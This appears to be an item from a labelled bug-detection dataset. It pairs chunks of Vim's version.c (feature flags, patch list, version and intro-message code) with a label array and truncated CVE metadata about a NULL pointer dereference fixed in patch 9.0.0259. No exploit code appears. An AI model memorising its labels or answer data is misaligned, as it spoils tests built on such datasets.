FEAT_PERSISTENT_UNDO\n\t\"+persistent_undo\",\n#else\n\t\"-persistent_undo\",\n#endif\n#ifdef FEAT_PROP_POPUP\n\t\"+popupwin\",\n#else\n\t\"-popupwin\",\n#endif\n#ifdef FEAT_PRINTER\n# ifdef FEAT_POSTSCRIPT\n\t\"+postscript\",\n# else\n\t\"-postscript\",\n# endif\n\t\"+printer\",\n#else\n\t\"-printer\",\n#endif\n#ifdef FEAT_PROFILE\n\t\"+profile\",\n#else\n\t\"-profile\",\n#endif\n#ifdef FEAT_PYTHON\n# ifdef DYNAMIC_PYTHON\n\t\"+python/dyn\",\n# else\n\t\"+python\",\n# endif\n#else\n\t\"-python\",\n#endif\n#ifdef FEAT_PYTHON3\n# ifdef DYNAMIC_PYTHON3\n\t\"+python3/dyn\",\n# else\n\t\"+python3\",\n# endif\n#else\n\t\"-python3\",\n#endif\n#ifdef FEAT_QUICKFIX\n\t\"+quickfix\",\n#else\n\t\"-quickfix\",\n#endif\n#ifdef FEAT_RELTIME\n\t\"+reltime\",\n#else\n\t\"-reltime\",\n#endif\n#ifdef FEAT_RIGHTLEFT\n\t\"+rightleft\",\n#else\n\t\"-rightleft\",\n#endif\n#ifdef FEAT_RUBY\n# ifdef DYNAMIC_RUBY\n\t\"+ruby/dyn\",\n# else\n\t\"+ruby\",\n# endif\n#else\n\t\"-ruby\",\n#endif\n\t\"+scrollbind\",\n#ifdef FEAT_SIGNS\n\t\"+signs\",\n#else\n\t\"-signs\",\n#endif\n\t\"+smartindent\",\n#ifdef FEAT_SODIUM\n# ifdef DYNAMIC_SODIUM\n\t\"+sodium/dyn\",\n# else\n\t\"+sodium\",\n# endif\n#else\n\t\"-sodium\",\n#endif\n#ifdef FEAT_SOUND\n\t\"+sound\",\n#else\n\t\"-sound\",\n#endif\n#ifdef FEAT_SPELL\n\t\"+spell\",\n#else\n\t\"-spell\",\n#endif\n#ifdef STARTUPTIME\n\t\"+startuptime\",\n#else\n\t\"-startuptime\",\n#endif\n#ifdef FEAT_STL_OPT\n\t\"+statusline\",\n#else\n\t\"-statusline\",\n#endif\n\t\"-sun_workshop\",\n#ifdef FEAT_SYN_HL\n\t\"+syntax\",\n#else\n\t\"-syntax\",\n#endif\n\t // only interesting on Unix systems\n#if defined(USE_SYSTEM) && defined(UNIX)\n\t\"+system()\",\n#endif\n\t\"+tag_binary\",\n\t\"-tag_old_static\",\n\t\"-tag_any_white\",\n#ifdef FEAT_TCL\n# ifdef DYNAMIC_TCL\n\t\"+tcl/dyn\",\n# else\n\t\"+tcl\",\n# endif\n#else\n\t\"-tcl\",\n#endif\n#ifdef FEAT_TERMGUICOLORS\n\t\"+termguicolors\",\n#else\n\t\"-termguicolors\",\n#endif\n#ifdef FEAT_TERMINAL\n\t\"+terminal\",\n#else\n\t\"-terminal\",\n#endif\n#if defined(UNIX)\n// only Unix can have terminfo instead of termcap\n# ifdef TERMINFO\n\t\"+terminfo\",\n# else\n\t\"-terminfo\",\n# endif\n#endif\n#ifdef FEAT_TERMRESPONSE\n\t\"+termresponse\",\n#else\n\t\"-termresponse\",\n#endif\n\t\"+textobjects\",\n#ifdef FEAT_PROP_POPUP\n\t\"+textprop\",\n#else\n\t\"-textprop\",\n#endif\n#if !defined(UNIX)\n// unix always includes termcap support\n# ifdef HAVE_TGETENT\n\t\"+tgetent\",\n# else\n\t\"-tgetent\",\n# endif\n#endif\n#ifdef FEAT_TIMERS\n\t\"+timers\",\n#else\n\t\"-timers\",\n#endif\n\t\"+title\",\n#ifdef FEAT_TOOLBAR\n\t\"+toolbar\",\n#else\n\t\"-toolbar\",\n#endif\n\t\"+user_commands\",\n#ifdef FEAT_VARTABS\n\t\"+vartabs\",\n#else\n\t\"-vartabs\",\n#endif\n\t\"+vertsplit\",\n\t\"+vim9script\",\n#ifdef FEAT_VIMINFO\n\t\"+viminfo\",\n#else\n\t\"-viminfo\",\n#endif\n\t\"+virtualedit\",\n\t\"+visual\",\n\t\"+visualextra\",\n\t\"+vreplace\",\n#ifdef MSWIN\n# ifdef FEAT_VTP\n\t\"+vtp\",\n# else\n\t\"-vtp\",\n# endif\n#endif\n#ifdef FEAT_WILDIGN\n\t\"+wildignore\",\n#else\n\t\"-wildignore\",\n#endif\n#ifdef FEAT_WILDMENU\n\t\"+wildmenu\",\n#else\n\t\"-wildmenu\",\n#endif\n\t\"+windows\",\n#ifdef FEAT_WRITEBACKUP\n\t\"+writebackup\",\n#else\n\t\"-writebackup\",\n#endif\n#if defined(UNIX) || defined(VMS)\n# ifdef FEAT_X11\n\t\"+X11\",\n# else\n\t\"-X11\",\n# endif\n#endif\n#ifdef FEAT_XFONTSET\n\t\"+xfontset\",\n#else\n\t\"-xfontset\",\n#endif\n#ifdef FEAT_XIM\n\t\"+xim\",\n#else\n\t\"-xim\",\n#endif\n#if defined(MSWIN)\n# ifdef FEAT_XPM_W32\n\t\"+xpm_w32\",\n# else\n\t\"-xpm_w32\",\n# endif\n#elif defined(HAVE_XPM)\n\t\"+xpm\",\n#else\n\t\"-xpm\",\n#endif\n#if defined(UNIX) || defined(VMS)\n# if defined(USE_XSMP_INTERACT)\n\t\"+xsmp_interact\",\n# elif defined(USE_XSMP)\n\t\"+xsmp\",\n# else\n\t\"-xsmp\",\n# endif\n# ifdef FEAT_XCLIPBOARD\n\t\"+xterm_clipboard\",\n# else\n\t\"-xterm_clipboard\",\n# endif\n#endif\n#ifdef FEAT_XTERM_SAVE\n\t\"+xterm_save\",\n#else\n\t\"-xterm_save\",\n#endif\n\tNULL\n};", "static int included_patches[] =\n{ /* Add new patch number below this line */", "/**/\n 259,", "/**/\n 258,\n/**/\n 257,\n/**/\n 256,\n/**/\n 255,\n/**/\n 254,\n/**/\n 253,\n/**/\n 252,\n/**/\n 251,\n/**/\n 250,\n/**/\n 249,\n/**/\n 248,\n/**/\n 247,\n/**/\n 246,\n/**/\n 245,\n/**/\n 244,\n/**/\n 243,\n/**/\n 242,\n/**/\n 241,\n/**/\n 240,\n/**/\n 239,\n/**/\n 238,\n/**/\n 237,\n/**/\n 236,\n/**/\n 235,\n/**/\n 234,\n/**/\n 233,\n/**/\n 232,\n/**/\n 231,\n/**/\n 230,\n/**/\n 229,\n/**/\n 228,\n/**/\n 227,\n/**/\n 226,\n/**/\n 225,\n/**/\n 224,\n/**/\n 223,\n/**/\n 222,\n/**/\n 221,\n/**/\n 220,\n/**/\n 219,\n/**/\n 218,\n/**/\n 217,\n/**/\n 216,\n/**/\n 215,\n/**/\n 214,\n/**/\n 213,\n/**/\n 212,\n/**/\n 211,\n/**/\n 210,\n/**/\n 209,\n/**/\n 208,\n/**/\n 207,\n/**/\n 206,\n/**/\n 205,\n/**/\n 204,\n/**/\n 203,\n/**/\n 202,\n/**/\n 201,\n/**/\n 200,\n/**/\n 199,\n/**/\n 198,\n/**/\n 197,\n/**/\n 196,\n/**/\n 195,\n/**/\n 194,\n/**/\n 193,\n/**/\n 192,\n/**/\n 191,\n/**/\n 190,\n/**/\n 189,\n/**/\n 188,\n/**/\n 187,\n/**/\n 186,\n/**/\n 185,\n/**/\n 184,\n/**/\n 183,\n/**/\n 182,\n/**/\n 181,\n/**/\n 180,\n/**/\n 179,\n/**/\n 178,\n/**/\n 177,\n/**/\n 176,\n/**/\n 175,\n/**/\n 174,\n/**/\n 173,\n/**/\n 172,\n/**/\n 171,\n/**/\n 170,\n/**/\n 169,\n/**/\n 168,\n/**/\n 167,\n/**/\n 166,\n/**/\n 165,\n/**/\n 164,\n/**/\n 163,\n/**/\n 162,\n/**/\n 161,\n/**/\n 160,\n/**/\n 159,\n/**/\n 158,\n/**/\n 157,\n/**/\n 156,\n/**/\n 155,\n/**/\n 154,\n/**/\n 153,\n/**/\n 152,\n/**/\n 151,\n/**/\n 150,\n/**/\n 149,\n/**/\n 148,\n/**/\n 147,\n/**/\n 146,\n/**/\n 145,\n/**/\n 144,\n/**/\n 143,\n/**/\n 142,\n/**/\n 141,\n/**/\n 140,\n/**/\n 139,\n/**/\n 138,\n/**/\n 137,\n/**/\n 136,\n/**/\n 135,\n/**/\n 134,\n/**/\n 133,\n/**/\n 132,\n/**/\n 131,\n/**/\n 130,\n/**/\n 129,\n/**/\n 128,\n/**/\n 127,\n/**/\n 126,\n/**/\n 125,\n/**/\n 124,\n/**/\n 123,\n/**/\n 122,\n/**/\n 121,\n/**/\n 120,\n/**/\n 119,\n/**/\n 118,\n/**/\n 117,\n/**/\n 116,\n/**/\n 115,\n/**/\n 114,\n/**/\n 113,\n/**/\n 112,\n/**/\n 111,\n/**/\n 110,\n/**/\n 109,\n/**/\n 108,\n/**/\n 107,\n/**/\n 106,\n/**/\n 105,\n/**/\n 104,\n/**/\n 103,\n/**/\n 102,\n/**/\n 101,\n/**/\n 100,\n/**/\n 99,\n/**/\n 98,\n/**/\n 97,\n/**/\n 96,\n/**/\n 95,\n/**/\n 94,\n/**/\n 93,\n/**/\n 92,\n/**/\n 91,\n/**/\n 90,\n/**/\n 89,\n/**/\n 88,\n/**/\n 87,\n/**/\n 86,\n/**/\n 85,\n/**/\n 84,\n/**/\n 83,\n/**/\n 82,\n/**/\n 81,\n/**/\n 80,\n/**/\n 79,\n/**/\n 78,\n/**/\n 77,\n/**/\n 76,\n/**/\n 75,\n/**/\n 74,\n/**/\n 73,\n/**/\n 72,\n/**/\n 71,\n/**/\n 70,\n/**/\n 69,\n/**/\n 68,\n/**/\n 67,\n/**/\n 66,\n/**/\n 65,\n/**/\n 64,\n/**/\n 63,\n/**/\n 62,\n/**/\n 61,\n/**/\n 60,\n/**/\n 59,\n/**/\n 58,\n/**/\n 57,\n/**/\n 56,\n/**/\n 55,\n/**/\n 54,\n/**/\n 53,\n/**/\n 52,\n/**/\n 51,\n/**/\n 50,\n/**/\n 49,\n/**/\n 48,\n/**/\n 47,\n/**/\n 46,\n/**/\n 45,\n/**/\n 44,\n/**/\n 43,\n/**/\n 42,\n/**/\n 41,\n/**/\n 40,\n/**/\n 39,\n/**/\n 38,\n/**/\n 37,\n/**/\n 36,\n/**/\n 35,\n/**/\n 34,\n/**/\n 33,\n/**/\n 32,\n/**/\n 31,\n/**/\n 30,\n/**/\n 29,\n/**/\n 28,\n/**/\n 27,\n/**/\n 26,\n/**/\n 25,\n/**/\n 24,\n/**/\n 23,\n/**/\n 22,\n/**/\n 21,\n/**/\n 20,\n/**/\n 19,\n/**/\n 18,\n/**/\n 17,\n/**/\n 16,\n/**/\n 15,\n/**/\n 14,\n/**/\n 13,\n/**/\n 12,\n/**/\n 11,\n/**/\n 10,\n/**/\n 9,\n/**/\n 8,\n/**/\n 7,\n/**/\n 6,\n/**/\n 5,\n/**/\n 4,\n/**/\n 3,\n/**/\n 2,\n/**/\n 1,\n/**/\n 0\n};", "/*\n * Place to put a short description when adding a feature with a patch.\n * Keep it short, e.g.,: \"relative numbers\", \"persistent undo\".\n * Also add a comment marker to separate the lines.\n * See the official Vim patches for the diff format: It must use a context of\n * one line only. Create it by hand or use \"diff -C2\" and edit the patch.\n */\nstatic char *(extra_patches[]) =\n{ /* Add your patch description below this line */\n/**/\n NULL\n};", " int\nhighest_patch(void)\n{\n // this relies on the highest patch number to be the first entry\n return included_patches[0];\n}", "#if defined(FEAT_EVAL) || defined(PROTO)\n/*\n * Return TRUE if patch \"n\" has been included.\n */\n int\nhas_patch(int n)\n{\n int\t\th, m, l;", " // Perform a binary search.\n l = 0;\n h = (int)ARRAY_LENGTH(included_patches) - 1;\n for (;;)\n {\n\tm = (l + h) / 2;\n\tif (included_patches[m] == n)\n\t return TRUE;\n\tif (l == h)\n\t break;\n\tif (included_patches[m] < n)\n\t h = m;\n\telse\n\t l = m + 1;\n }\n return FALSE;\n}\n#endif", " void\nex_version(exarg_T *eap)\n{\n /*\n * Ignore a \":version 9.99\" command.\n */\n if (*eap->arg == NUL)\n {\n\tmsg_putchar('\\n');\n\tlist_version();\n }\n}", "/*\n * Output a string for the version message. If it's going to wrap, output a\n * newline, unless the message is too long to fit on the screen anyway.\n * When \"wrap\" is TRUE wrap the string in [].\n */\n static void\nversion_msg_wrap(char_u *s, int wrap)\n{\n int\t\tlen = vim_strsize(s) + (wrap ? 2 : 0);", " if (!got_int && len < (int)Columns && msg_col + len >= (int)Columns\n\t\t\t\t\t\t\t\t&& *s != '\\n')\n\tmsg_putchar('\\n');\n if (!got_int)\n {\n\tif (wrap)\n\t msg_puts(\"[\");\n\tmsg_puts((char *)s);\n\tif (wrap)\n\t msg_puts(\"]\");\n }\n}", " static void\nversion_msg(char *s)\n{\n version_msg_wrap((char_u *)s, FALSE);\n}", "/*\n * List all features aligned in columns, dictionary style.\n */\n static void\nlist_features(void)\n{\n list_in_columns((char_u **)features, -1, -1);\n}", "/*\n * List string items nicely aligned in columns.\n * When \"size\" is < 0 then the last entry is marked with NULL.\n * The entry with index \"current\" is inclosed in [].\n */\n void\nlist_in_columns(char_u **items, int size, int current)\n{\n int\t\ti;\n int\t\tncol;\n int\t\tnrow;\n int\t\tcur_row = 1;\n int\t\titem_count = 0;\n int\t\twidth = 0;\n#ifdef FEAT_SYN_HL\n int\t\tuse_highlight = (items == (char_u **)features);\n#endif", " // Find the length of the longest item, use that + 1 as the column\n // width.\n for (i = 0; size < 0 ? items[i] != NULL : i < size; ++i)\n {\n\tint l = vim_strsize(items[i]) + (i == current ? 2 : 0);", "\tif (l > width)\n\t width = l;\n\t++item_count;\n }\n width += 1;", " if (Columns < width)\n {\n\t// Not enough screen columns - show one per line\n\tfor (i = 0; i < item_count; ++i)\n\t{\n\t version_msg_wrap(items[i], i == current);\n\t if (msg_col > 0 && i < item_count - 1)\n\t\tmsg_putchar('\\n');\n\t}\n\treturn;\n }", " // The rightmost column doesn't need a separator.\n // Sacrifice it to fit in one more column if possible.\n ncol = (int) (Columns + 1) / width;\n nrow = item_count / ncol + ((item_count % ncol) ? 1 : 0);", " // \"i\" counts columns then rows. \"idx\" counts rows then columns.\n for (i = 0; !got_int && i < nrow * ncol; ++i)\n {\n\tint idx = (i / ncol) + (i % ncol) * nrow;", "\tif (idx < item_count)\n\t{\n\t int last_col = (i + 1) % ncol == 0;", "\t if (idx == current)\n\t\tmsg_putchar('[');\n#ifdef FEAT_SYN_HL\n\t if (use_highlight && items[idx][0] == '-')\n\t\tmsg_puts_attr((char *)items[idx], HL_ATTR(HLF_W));\n\t else\n#endif\n\t\tmsg_puts((char *)items[idx]);\n\t if (idx == current)\n\t\tmsg_putchar(']');\n\t if (last_col)\n\t {\n\t\tif (msg_col > 0 && cur_row < nrow)\n\t\t msg_putchar('\\n');\n\t\t++cur_row;\n\t }\n\t else\n\t {\n\t\twhile (msg_col % width)\n\t\t msg_putchar(' ');\n\t }\n\t}\n\telse\n\t{\n\t // this row is out of items, thus at the end of the row\n\t if (msg_col > 0)\n\t {\n\t\tif (cur_row < nrow)\n\t\t msg_putchar('\\n');\n\t\t++cur_row;\n\t }\n\t}\n }\n}", " void\nlist_version(void)\n{\n int\t\ti;\n int\t\tfirst;\n char\t*s = \"\";", " /*\n * When adding features here, don't forget to update the list of\n * internal variables in eval.c!\n */\n init_longVersion();\n msg(longVersion);\n#ifdef MSWIN\n# ifdef FEAT_GUI_MSWIN\n# ifdef VIMDLL\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit GUI/console version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit GUI/console version\"));\n# endif\n# else\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit GUI version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit GUI version\"));\n# endif\n# endif\n# ifdef FEAT_OLE\n msg_puts(_(\" with OLE support\"));\n# endif\n# else\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit console version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit console version\"));\n# endif\n# endif\n#endif\n#if defined(MACOS_X)\n# if defined(MACOS_X_DARWIN)\n msg_puts(_(\"\\nmacOS version\"));\n# else\n msg_puts(_(\"\\nmacOS version w/o darwin feat.\"));\n# endif\n# if defined(__arm64__)\n msg_puts(\" - arm64\");\n# elif defined(__x86_64__)\n msg_puts(\" - x86_64\");\n# endif\n#endif", "#ifdef VMS\n msg_puts(_(\"\\nOpenVMS version\"));\n# ifdef HAVE_PATHDEF\n if (*compiled_arch != NUL)\n {\n\tmsg_puts(\" - \");\n\tmsg_puts((char *)compiled_arch);\n }\n# endif", "#endif", " // Print the list of patch numbers if there is at least one.\n // Print a range when patches are consecutive: \"1-10, 12, 15-40, 42-45\"\n if (included_patches[0] != 0)\n {\n\tmsg_puts(_(\"\\nIncluded patches: \"));\n\tfirst = -1;\n\ti = (int)ARRAY_LENGTH(included_patches) - 1;\n\twhile (--i >= 0)\n\t{\n\t if (first < 0)\n\t\tfirst = included_patches[i];\n\t if (i == 0 || included_patches[i - 1] != included_patches[i] + 1)\n\t {\n\t\tmsg_puts(s);\n\t\ts = \", \";\n\t\tmsg_outnum((long)first);\n\t\tif (first != included_patches[i])\n\t\t{\n\t\t msg_puts(\"-\");\n\t\t msg_outnum((long)included_patches[i]);\n\t\t}\n\t\tfirst = -1;\n\t }\n\t}\n }", " // Print the list of extra patch descriptions if there is at least one.\n if (extra_patches[0] != NULL)\n {\n\tmsg_puts(_(\"\\nExtra patches: \"));\n\ts = \"\";\n\tfor (i = 0; extra_patches[i] != NULL; ++i)\n\t{\n\t msg_puts(s);\n\t s = \", \";\n\t msg_puts(extra_patches[i]);\n\t}\n }", "#ifdef MODIFIED_BY\n msg_puts(\"\\n\");\n msg_puts(_(\"Modified by \"));\n msg_puts(MODIFIED_BY);\n#endif", "#ifdef HAVE_PATHDEF\n if (*compiled_user != NUL || *compiled_sys != NUL)\n {\n\tmsg_puts(_(\"\\nCompiled \"));\n\tif (*compiled_user != NUL)\n\t{\n\t msg_puts(_(\"by \"));\n\t msg_puts((char *)compiled_user);\n\t}\n\tif (*compiled_sys != NUL)\n\t{\n\t msg_puts(\"@\");\n\t msg_puts((char *)compiled_sys);\n\t}\n }\n#endif", "#if defined(FEAT_HUGE)\n msg_puts(_(\"\\nHuge version \"));\n#elif defined(FEAT_BIG)\n msg_puts(_(\"\\nBig version \"));\n#elif defined(FEAT_NORMAL)\n msg_puts(_(\"\\nNormal version \"));\n#elif defined(FEAT_SMALL)\n msg_puts(_(\"\\nSmall version \"));\n#else\n msg_puts(_(\"\\nTiny version \"));\n#endif\n#if !defined(FEAT_GUI)\n msg_puts(_(\"without GUI.\"));\n#elif defined(FEAT_GUI_GTK)\n# if defined(USE_GTK3)\n msg_puts(_(\"with GTK3 GUI.\"));\n# elif defined(FEAT_GUI_GNOME)\n msg_puts(_(\"with GTK2-GNOME GUI.\"));\n# else\n msg_puts(_(\"with GTK2 GUI.\"));\n# endif\n#elif defined(FEAT_GUI_MOTIF)\n msg_puts(_(\"with X11-Motif GUI.\"));\n#elif defined(FEAT_GUI_HAIKU)\n msg_puts(_(\"with Haiku GUI.\"));\n#elif defined(FEAT_GUI_PHOTON)\n msg_puts(_(\"with Photon GUI.\"));\n#elif defined(MSWIN)\n msg_puts(_(\"with GUI.\"));\n#endif\n version_msg(_(\" Features included (+) or not (-):\\n\"));", " list_features();\n if (msg_col > 0)\n\tmsg_putchar('\\n');", "#ifdef SYS_VIMRC_FILE\n version_msg(_(\" system vimrc file: \\\"\"));\n version_msg(SYS_VIMRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE\n version_msg(_(\" user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE2\n version_msg(_(\" 2nd user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE2);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE3\n version_msg(_(\" 3rd user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE3);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_EXRC_FILE\n version_msg(_(\" user exrc file: \\\"\"));\n version_msg(USR_EXRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_EXRC_FILE2\n version_msg(_(\" 2nd user exrc file: \\\"\"));\n version_msg(USR_EXRC_FILE2);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef FEAT_GUI\n# ifdef SYS_GVIMRC_FILE\n version_msg(_(\" system gvimrc file: \\\"\"));\n version_msg(SYS_GVIMRC_FILE);\n version_msg(\"\\\"\\n\");\n# endif\n version_msg(_(\" user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE);\n version_msg(\"\\\"\\n\");\n# ifdef USR_GVIMRC_FILE2\n version_msg(_(\"2nd user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE2);\n version_msg(\"\\\"\\n\");\n# endif\n# ifdef USR_GVIMRC_FILE3\n version_msg(_(\"3rd user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE3);\n version_msg(\"\\\"\\n\");\n# endif\n#endif\n version_msg(_(\" defaults file: \\\"\"));\n version_msg(VIM_DEFAULTS_FILE);\n version_msg(\"\\\"\\n\");\n#ifdef FEAT_GUI\n# ifdef SYS_MENU_FILE\n version_msg(_(\" system menu file: \\\"\"));\n version_msg(SYS_MENU_FILE);\n version_msg(\"\\\"\\n\");\n# endif\n#endif\n#ifdef HAVE_PATHDEF\n if (*default_vim_dir != NUL)\n {\n\tversion_msg(_(\" fall-back for $VIM: \\\"\"));\n\tversion_msg((char *)default_vim_dir);\n\tversion_msg(\"\\\"\\n\");\n }\n if (*default_vimruntime_dir != NUL)\n {\n\tversion_msg(_(\" f-b for $VIMRUNTIME: \\\"\"));\n\tversion_msg((char *)default_vimruntime_dir);\n\tversion_msg(\"\\\"\\n\");\n }\n version_msg(_(\"Compilation: \"));\n version_msg((char *)all_cflags);\n version_msg(\"\\n\");\n#ifdef VMS\n if (*compiler_version != NUL)\n {\n\tversion_msg(_(\"Compiler: \"));\n\tversion_msg((char *)compiler_version);\n\tversion_msg(\"\\n\");\n }\n#endif\n version_msg(_(\"Linking: \"));\n version_msg((char *)all_lflags);\n#endif\n#ifdef DEBUG\n version_msg(\"\\n\");\n version_msg(_(\" DEBUG BUILD\"));\n#endif\n}", "static void do_intro_line(int row, char_u *mesg, int add_version, int attr);\nstatic void intro_message(int colon);", "/*\n * Show the intro message when not editing a file.\n */\n void\nmaybe_intro_message(void)\n{\n if (BUFEMPTY()\n\t && curbuf->b_fname == NULL\n\t && firstwin->w_next == NULL\n\t && vim_strchr(p_shm, SHM_INTRO) == NULL)\n\tintro_message(FALSE);\n}", "/*\n * Give an introductory message about Vim.\n * Only used when starting Vim on an empty file, without a file name.\n * Or with the \":intro\" command (for Sven :-).\n */\n static void\nintro_message(\n int\t\tcolon)\t\t// TRUE for \":intro\"\n{\n int\t\ti;\n int\t\trow;\n int\t\tblanklines;\n int\t\tsponsor;\n char\t*p;\n static char\t*(lines[]) =\n {\n\tN_(\"VIM - Vi IMproved\"),\n\t\"\",\n\tN_(\"version \"),\n\tN_(\"by Bram Moolenaar et al.\"),\n#ifdef MODIFIED_BY\n\t\" \",\n#endif\n\tN_(\"Vim is open source and freely distributable\"),\n\t\"\",\n\tN_(\"Help poor children in Uganda!\"),\n\tN_(\"type :help iccf<Enter> for information \"),\n\t\"\",\n\tN_(\"type :q<Enter> to exit \"),\n\tN_(\"type :help<Enter> or <F1> for on-line help\"),\n\tN_(\"type :help version9<Enter> for version info\"),\n\tNULL,\n\t\"\",\n\tN_(\"Running in Vi compatible mode\"),\n\tN_(\"type :set nocp<Enter> for Vim defaults\"),\n\tN_(\"type :help cp-default<Enter> for info on this\"),\n };\n#ifdef FEAT_GUI\n static char\t*(gui_lines[]) =\n {\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n#ifdef MODIFIED_BY\n\tNULL,\n#endif\n\tNULL,\n\tNULL,\n\tNULL,\n\tN_(\"menu Help->Orphans for information \"),\n\tNULL,\n\tN_(\"Running modeless, typed text is inserted\"),\n\tN_(\"menu Edit->Global Settings->Toggle Insert Mode \"),\n\tN_(\" for two modes \"),\n\tNULL,\n\tNULL,\n\tNULL,\n\tN_(\"menu Edit->Global Settings->Toggle Vi Compatible\"),\n\tN_(\" for Vim defaults \"),\n };\n#endif", " // blanklines = screen height - # message lines\n blanklines = (int)Rows - (ARRAY_LENGTH(lines) - 1);\n if (!p_cp)\n\tblanklines += 4; // add 4 for not showing \"Vi compatible\" message", " // Don't overwrite a statusline. Depends on 'cmdheight'.\n if (p_ls > 1)\n\tblanklines -= Rows - topframe->fr_height;\n if (blanklines < 0)\n\tblanklines = 0;", " // Show the sponsor and register message one out of four times, the Uganda\n // message two out of four times.\n sponsor = (int)time(NULL);\n sponsor = ((sponsor & 2) == 0) - ((sponsor & 4) == 0);", " // start displaying the message lines after half of the blank lines\n row = blanklines / 2;\n if ((row >= 2 && Columns >= 50) || colon)\n {\n\tfor (i = 0; i < (int)ARRAY_LENGTH(lines); ++i)\n\t{\n\t p = lines[i];\n#ifdef FEAT_GUI\n\t if (p_im && gui.in_use && gui_lines[i] != NULL)\n\t\tp = gui_lines[i];\n#endif\n\t if (p == NULL)\n\t {\n\t\tif (!p_cp)\n\t\t break;\n\t\tcontinue;\n\t }\n\t if (sponsor != 0)\n\t {\n\t\tif (strstr(p, \"children\") != NULL)\n\t\t p = sponsor < 0\n\t\t\t? N_(\"Sponsor Vim development!\")\n\t\t\t: N_(\"Become a registered Vim user!\");\n\t\telse if (strstr(p, \"iccf\") != NULL)\n\t\t p = sponsor < 0\n\t\t\t? N_(\"type :help sponsor<Enter> for information \")\n\t\t\t: N_(\"type :help register<Enter> for information \");\n\t\telse if (strstr(p, \"Orphans\") != NULL)\n\t\t p = N_(\"menu Help->Sponsor/Register for information \");\n\t }\n\t if (*p != NUL)\n\t\tdo_intro_line(row, (char_u *)_(p), i == 2, 0);\n\t ++row;\n\t}\n }", " // Make the wait-return message appear just below the text.\n if (colon)\n\tmsg_row = row;\n}", " static void\ndo_intro_line(\n int\t\trow,\n char_u\t*mesg,\n int\t\tadd_version,\n int\t\tattr)\n{\n char_u\tvers[20];\n int\t\tcol;\n char_u\t*p;\n int\t\tl;\n int\t\tclen;\n#ifdef MODIFIED_BY\n# define MODBY_LEN 150\n char_u\tmodby[MODBY_LEN];", " if (*mesg == ' ')\n {\n\tvim_strncpy(modby, (char_u *)_(\"Modified by \"), MODBY_LEN - 1);\n\tl = (int)STRLEN(modby);\n\tvim_strncpy(modby + l, (char_u *)MODIFIED_BY, MODBY_LEN - l - 1);\n\tmesg = modby;\n }\n#endif", " // Center the message horizontally.\n col = vim_strsize(mesg);\n if (add_version)\n {\n\tSTRCPY(vers, mediumVersion);\n\tif (highest_patch())\n\t{\n\t // Check for 9.9x or 9.9xx, alpha/beta version\n\t if (isalpha((int)vers[3]))\n\t {\n\t\tint len = (isalpha((int)vers[4])) ? 5 : 4;\n\t\tsprintf((char *)vers + len, \".%d%s\", highest_patch(),\n\t\t\t\t\t\t\t mediumVersion + len);\n\t }\n\t else\n\t\tsprintf((char *)vers + 3, \".%d\", highest_patch());\n\t}\n\tcol += (int)STRLEN(vers);\n }\n col = (Columns - col) / 2;\n if (col < 0)\n\tcol = 0;", " // Split up in parts to highlight <> items differently.\n for (p = mesg; *p != NUL; p += l)\n {\n\tclen = 0;\n\tfor (l = 0; p[l] != NUL\n\t\t\t && (l == 0 || (p[l] != '<' && p[l - 1] != '>')); ++l)\n\t{\n\t if (has_mbyte)\n\t {\n\t\tclen += ptr2cells(p + l);\n\t\tl += (*mb_ptr2len)(p + l) - 1;\n\t }\n\t else\n\t\tclen += byte2cells(p[l]);\n\t}\n\tscreen_puts_len(p, l, row, col, *p == '<' ? HL_ATTR(HLF_8) : attr);\n\tcol += clen;\n }", " // Add the version number to the version line.\n if (add_version)\n\tscreen_puts(vers, row, col, 0);\n}", "/*\n * \":intro\": clear screen, display intro screen and wait for return.\n */\n void\nex_intro(exarg_T *eap UNUSED)\n{\n screenclear();\n intro_message(TRUE);\n wait_return(TRUE);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], 